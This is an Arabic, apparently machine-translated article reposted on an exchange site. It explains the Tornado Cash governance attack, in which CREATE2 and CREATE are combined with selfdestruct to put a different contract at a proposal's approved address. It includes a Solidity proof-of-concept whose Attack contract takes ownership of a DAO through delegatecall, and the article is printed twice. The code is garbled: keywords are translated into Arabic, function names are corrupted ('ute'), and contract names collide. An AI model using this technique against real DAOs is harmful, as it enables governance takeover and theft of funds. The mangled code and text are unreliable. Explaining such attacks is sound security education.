منذ حوالي أسبوعين (20 مايو) ، تعرض بروتوكول خلط العملات المعروف Tornado Cash لهجوم إداري ، واكتسب المخترقون السيطرة (المالك) لعقد إدارة Tornado Cash.
تكون عملية الهجوم على النحو التالي: يقدم المهاجم أولاً عرضًا "عادي المظهر" ، بعد تمرير الاقتراح ، ويدمر عنوان العقد الذي سيتم تنفيذه من خلال الاقتراح ، ويعيد إنشاء عقد هجوم على العنوان.
بالنسبة لعملية الهجوم ، يمكنك عرض تحليل مبدأ هجوم العرض النقدي الخاص بـ SharkTeam [1] 。
مفتاح الهجوم هنا هو نشر عقود مختلفة على ** نفس العنوان **. كيف يتم تحقيق ذلك؟
خلفية معرفية
هناك نوعان من أكواد التشغيل في EVM لإنشاء العقود: CREATE و CREATE2.
إنشاء كود التشغيل
عند استخدام Token () جديد لاستخدام رمز التشغيل CREATE ، فإن وظيفة حساب عنوان العقد الذي تم إنشاؤه هي:
يتم تحديد عنوان العقد الذي تم إنشاؤه من خلال ** عنوان المنشئ ** + ** المنشئ Nonce ** (عدد العقود التي تم إنشاؤها) ، نظرًا لأن Nonce يزيد دائمًا بشكل تدريجي ، عندما يزيد Nonce ، يكون عنوان العقد الذي تم إنشاؤه مختلفًا دائمًا.
شفرة التشغيل CREATE2
عند إضافة رمز مميز جديد الملح {salt: bytes32 ()} () ، يتم استخدام كود التشغيل CREATE2 ، ووظيفة حساب عنوان العقد التي تم إنشاؤها هي:
عنوان العقد الذي تم إنشاؤه هو ** عنوان المنشئ ** + ** الملح المخصص ** + ** الرمز الثانوي للعقد الذكي الذي سيتم نشره ** ، لذلك لا يمكن استخدام سوى نفس الرمز الثانوي ونفس قيمة الملح إلى نفس عنوان العقد.
فكيف يمكن نشر عقود مختلفة في نفس العنوان؟
طريقة الهجوم
يستخدم المهاجم Create2 و Create معًا لإنشاء العقد ، كما هو موضح في الشكل:
رمز مشار إليه من:
استخدم أولاً Create2 لنشر عقد Deployer ، ثم استخدم Create in Deployer لإنشاء اقتراح العقد الهدف (لاستخدام الاقتراح). يحتوي كل من عقود الناشر والاقتراح على تطبيقات للتدمير الذاتي (التدمير الذاتي).
بعد تمرير الاقتراح ، يدمر المهاجم عقدي الناشر والعرض ، ثم يعيد إنشاء الناشر بنفس الشريحة. يظل رمز الناشر الثانوي كما هو ، والشريحة هي نفسها ، لذا فإن عنوان عقد الناشر نفسه كما كان من قبل يتم الحصول عليها ، ولكن في هذا الوقت الناشر يتم مسح حالة العقد ، ويبدأ الرقم غير المتزامن من 0 ، لذلك يمكن إنشاء هجوم عقد آخر باستخدام رقم nonce هذا.
مثال رمز الهجوم
هذا الرمز من:
// SPDX-License-Identifier: MIT
صلابة براغما ^ 0.8.17 ؛
عقد DAO {
اقتراح البناء {
هدف العنوان ؛
وافق منطقي
منطقي
}
العنوان العام للمالك = msg.sender ؛
اقتراح [] مقترحات عامة؛
وظيفة الموافقة (العنوان الهدف) الخارجية {
يتطلب (msg.sender == مالك ، "غير مخول") ؛
comments.push (Proposal ({target: target، Approved: true، uted: false})) ؛
}
الوظيفة ute (uint256 offerId) الدفع الخارجي {
اقتراح تخزين الاقتراح = العروض [proposalId] ؛
تتطلب (مقترح موافق عليه ، "لم تتم الموافقة عليه") ؛
تتطلب (! مقترحًا مكتوبًا ، "uted") ؛
مقترح. محسوب = صحيح ؛
(منطقي طيب) = اقتراح.target.delegatecall (
abi.encodeWithSignature ("uteProposal ()")
) ؛
تتطلب (حسنًا ، "فشل مندوب الاتصال") ؛
}
}
اقتراح العقد {
سجل الأحداث (رسالة سلسلة) ؛
الوظيفة uteProposal () خارجي {
انبعاث السجل ("الكود المستثنى المعتمد من قبل DAO") ؛
}
وظيفة طوارئ توقف () خارجي {
التدمير الذاتي (مستحق الدفع (العنوان (0))) ؛
}
}
هجوم العقد {
سجل الأحداث (رسالة سلسلة) ؛
العنوان العام للمالك؛
الوظيفة uteProposal () خارجي {
انبعاث السجل ("الكود المستثنى غير معتمد من قبل DAO :)") ؛
// على سبيل المثال - عيّن مالك DAO على المهاجم
المالك = msg.sender ؛
}
}
الناشر العقد {
سجل الأحداث (عنوان العنوان) ؛
وظيفة نشر () خارجي {
bytes32 salt = keccak256 (abi.encode (uint (123))) ؛
العنوان addr = address (new Deployer {salt: salt} ())؛
انبعث سجل (العنوان) ؛
}
}
الناشر العقد {
سجل الأحداث (عنوان العنوان) ؛
وظيفة نشرProposal () خارجي {
العنوان addr = address (new Proposal ()) ؛
انبعث سجل (العنوان) ؛
}
وظيفة publishAttack () خارجي {
عنوان العنوان = العنوان (هجوم جديد ()) ؛
انبعث سجل (العنوان) ؛
}
وظيفة قتل () خارجي {
التدمير الذاتي (مستحق الدفع (العنوان (0))) ؛
}
}
بعد الحصول على عنوان عقد اقتراح الاقتراح ، قم ببدء اقتراح إلى DAO.
استدعاء Deployer.kill و Proposal.emstractStop على التوالي لتدمير الناشر والاقتراح
قم باستدعاء DeployerDeployer.deploy () مرة أخرى لنشر Deployer ، واستدعاء Deployer.deployAttack () لنشر Attack ، وستكون Attack متسقة مع الاقتراح السابق.
عند تنفيذ DAO.ute ، يكون الهجوم قد حصل على إذن المالك لـ DAO.
شاهد النسخة الأصلية
قد تحتوي هذه الصفحة على محتوى من جهات خارجية، يتم تقديمه لأغراض إعلامية فقط (وليس كإقرارات/ضمانات)، ولا ينبغي اعتباره موافقة على آرائه من قبل Gate، ولا بمثابة نصيحة مالية أو مهنية. انظر إلى إخلاء المسؤولية للحصول على التفاصيل.
هجوم حوكمة الإعصار: كيفية نشر عقود مختلفة على نفس العنوان
منذ حوالي أسبوعين (20 مايو) ، تعرض بروتوكول خلط العملات المعروف Tornado Cash لهجوم إداري ، واكتسب المخترقون السيطرة (المالك) لعقد إدارة Tornado Cash.
تكون عملية الهجوم على النحو التالي: يقدم المهاجم أولاً عرضًا "عادي المظهر" ، بعد تمرير الاقتراح ، ويدمر عنوان العقد الذي سيتم تنفيذه من خلال الاقتراح ، ويعيد إنشاء عقد هجوم على العنوان.
بالنسبة لعملية الهجوم ، يمكنك عرض تحليل مبدأ هجوم العرض النقدي الخاص بـ SharkTeam [1] 。
مفتاح الهجوم هنا هو نشر عقود مختلفة على ** نفس العنوان **. كيف يتم تحقيق ذلك؟
خلفية معرفية
هناك نوعان من أكواد التشغيل في EVM لإنشاء العقود: CREATE و CREATE2.
إنشاء كود التشغيل
عند استخدام Token () جديد لاستخدام رمز التشغيل CREATE ، فإن وظيفة حساب عنوان العقد الذي تم إنشاؤه هي:
العنوان tokenAddr = bytes20 (keccak256 (senderAddress، nonce))
يتم تحديد عنوان العقد الذي تم إنشاؤه من خلال ** عنوان المنشئ ** + ** المنشئ Nonce ** (عدد العقود التي تم إنشاؤها) ، نظرًا لأن Nonce يزيد دائمًا بشكل تدريجي ، عندما يزيد Nonce ، يكون عنوان العقد الذي تم إنشاؤه مختلفًا دائمًا.
شفرة التشغيل CREATE2
عند إضافة رمز مميز جديد الملح {salt: bytes32 ()} () ، يتم استخدام كود التشغيل CREATE2 ، ووظيفة حساب عنوان العقد التي تم إنشاؤها هي:
العنوان tokenAddr = bytes20 (keccak256 (0xFF ، senderAddress ، salt ، bytecode))
عنوان العقد الذي تم إنشاؤه هو ** عنوان المنشئ ** + ** الملح المخصص ** + ** الرمز الثانوي للعقد الذكي الذي سيتم نشره ** ، لذلك لا يمكن استخدام سوى نفس الرمز الثانوي ونفس قيمة الملح إلى نفس عنوان العقد.
فكيف يمكن نشر عقود مختلفة في نفس العنوان؟
طريقة الهجوم
يستخدم المهاجم Create2 و Create معًا لإنشاء العقد ، كما هو موضح في الشكل:
استخدم أولاً Create2 لنشر عقد Deployer ، ثم استخدم Create in Deployer لإنشاء اقتراح العقد الهدف (لاستخدام الاقتراح). يحتوي كل من عقود الناشر والاقتراح على تطبيقات للتدمير الذاتي (التدمير الذاتي).
بعد تمرير الاقتراح ، يدمر المهاجم عقدي الناشر والعرض ، ثم يعيد إنشاء الناشر بنفس الشريحة. يظل رمز الناشر الثانوي كما هو ، والشريحة هي نفسها ، لذا فإن عنوان عقد الناشر نفسه كما كان من قبل يتم الحصول عليها ، ولكن في هذا الوقت الناشر يتم مسح حالة العقد ، ويبدأ الرقم غير المتزامن من 0 ، لذلك يمكن إنشاء هجوم عقد آخر باستخدام رقم nonce هذا.
مثال رمز الهجوم
هذا الرمز من:
// SPDX-License-Identifier: MIT صلابة براغما ^ 0.8.17 ؛ عقد DAO { اقتراح البناء { هدف العنوان ؛ وافق منطقي منطقي } العنوان العام للمالك = msg.sender ؛ اقتراح [] مقترحات عامة؛ وظيفة الموافقة (العنوان الهدف) الخارجية { يتطلب (msg.sender == مالك ، "غير مخول") ؛ comments.push (Proposal ({target: target، Approved: true، uted: false})) ؛ } الوظيفة ute (uint256 offerId) الدفع الخارجي { اقتراح تخزين الاقتراح = العروض [proposalId] ؛ تتطلب (مقترح موافق عليه ، "لم تتم الموافقة عليه") ؛ تتطلب (! مقترحًا مكتوبًا ، "uted") ؛ مقترح. محسوب = صحيح ؛ (منطقي طيب) = اقتراح.target.delegatecall ( abi.encodeWithSignature ("uteProposal ()") ) ؛ تتطلب (حسنًا ، "فشل مندوب الاتصال") ؛ } } اقتراح العقد { سجل الأحداث (رسالة سلسلة) ؛ الوظيفة uteProposal () خارجي { انبعاث السجل ("الكود المستثنى المعتمد من قبل DAO") ؛ } وظيفة طوارئ توقف () خارجي { التدمير الذاتي (مستحق الدفع (العنوان (0))) ؛ } } هجوم العقد { سجل الأحداث (رسالة سلسلة) ؛ العنوان العام للمالك؛ الوظيفة uteProposal () خارجي { انبعاث السجل ("الكود المستثنى غير معتمد من قبل DAO :)") ؛ // على سبيل المثال - عيّن مالك DAO على المهاجم المالك = msg.sender ؛ } } الناشر العقد { سجل الأحداث (عنوان العنوان) ؛ وظيفة نشر () خارجي { bytes32 salt = keccak256 (abi.encode (uint (123))) ؛ العنوان addr = address (new Deployer {salt: salt} ())؛ انبعث سجل (العنوان) ؛ } } الناشر العقد { سجل الأحداث (عنوان العنوان) ؛ وظيفة نشرProposal () خارجي { العنوان addr = address (new Proposal ()) ؛ انبعث سجل (العنوان) ؛ } وظيفة publishAttack () خارجي { عنوان العنوان = العنوان (هجوم جديد ()) ؛ انبعث سجل (العنوان) ؛ } وظيفة قتل () خارجي { التدمير الذاتي (مستحق الدفع (العنوان (0))) ؛ } }
يمكنك استخدام هذا الرمز لتصفحه بنفسك في Remix.